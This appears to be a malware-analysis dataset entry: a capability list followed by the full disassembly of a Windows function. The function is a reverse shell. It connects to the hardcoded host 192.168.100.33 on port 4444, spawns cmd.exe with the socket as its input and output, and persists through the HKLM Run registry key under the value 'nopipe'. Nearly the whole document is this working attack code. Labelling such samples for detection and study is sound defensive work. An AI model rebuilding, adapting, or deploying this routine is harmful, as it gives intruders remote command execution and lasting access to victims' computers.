Function at 0x1400011c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create process on windows
Create tcp socket
Initialize winsock library
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov ecx, 0x202
lea rdx, [0x140005730]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001227
lea rdx, str.WSAStartup_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400016e0
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14000164a
xor edi, edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov edx, 1
mov ebx, 2
mov r8d, 6
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x140005728], rax
cmp rax, 0xffffffffffffffff
jne 0x14000128c
lea rdx, str.Socket_creation_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400016e0
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14000164a
mov word [0x140005938], bx
mov ecx, 0x115c
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14000593a], ax
lea r8, [0x14000593c]
lea rdx, str.192.168.100.33
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x1400012e2
lea rdx, str.Invalid_address
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400016e0
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x10
lea rdx, [0x140005938]
mov rcx, qword [0x140005728]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001324
lea rdx, str.Connection_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400016e0
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [0x1400058d0], xmm0
movups xmmword [0x1400058e0], xmm0
movups xmmword [0x1400058f0], xmm0
movups xmmword [0x140005900], xmm0
movups xmmword [0x140005910], xmm0
movups xmmword [0x140005920], xmm0
mov dword [0x1400058d0], 0x68
mov dword [0x14000590c], 0x100
mov rax, qword [0x140005728]
mov qword [0x140005930], rax
mov qword [0x140005928], rax
mov qword [0x140005920], rax
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [rsp + 0x78], xmm0
lea rax, [0x140005710]
mov qword [rsp + 0x48], rax
lea rax, [0x1400058d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x78]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140001416
lea rdx, str.CreateProcess_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400016e0
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140005728]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14000164a
mov r8d, 0x104
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rsp + 0x90]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], dil
jne 0x140001450
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x14000166f
cmp rbx, 0xf
ja 0x1400014a9
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov r8, rbx
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x58]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x58], dil
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x58]
jmp 0x140001540
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x1400014e2
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400019a0
test rax, rax
je 0x140001639
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000151a
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
test rcx, rcx
je 0x14000151a
cmp rcx, 0x1000
jb 0x140001512
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001675
jmp 0x1400014c3
call fcn.1400019a0
mov rdi, rax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rsi
mov r8, rbx
lea rdx, [rsp + 0x90]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001599
lea rdx, str.Failed_to_open_registry_key.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016e0
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 0x105
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.nopipe
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400015fb
lea rdx, str.Failed_to_set_registry_value.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016e0
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x493e0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xffffffff
mov rcx, qword [0x140005710]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
cmp rsi, 0xf
jbe 0x140001648
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001640
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001640
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400019dc
xor eax, eax
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140001980
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.1400011a0
int3
call fcn.140001100
int3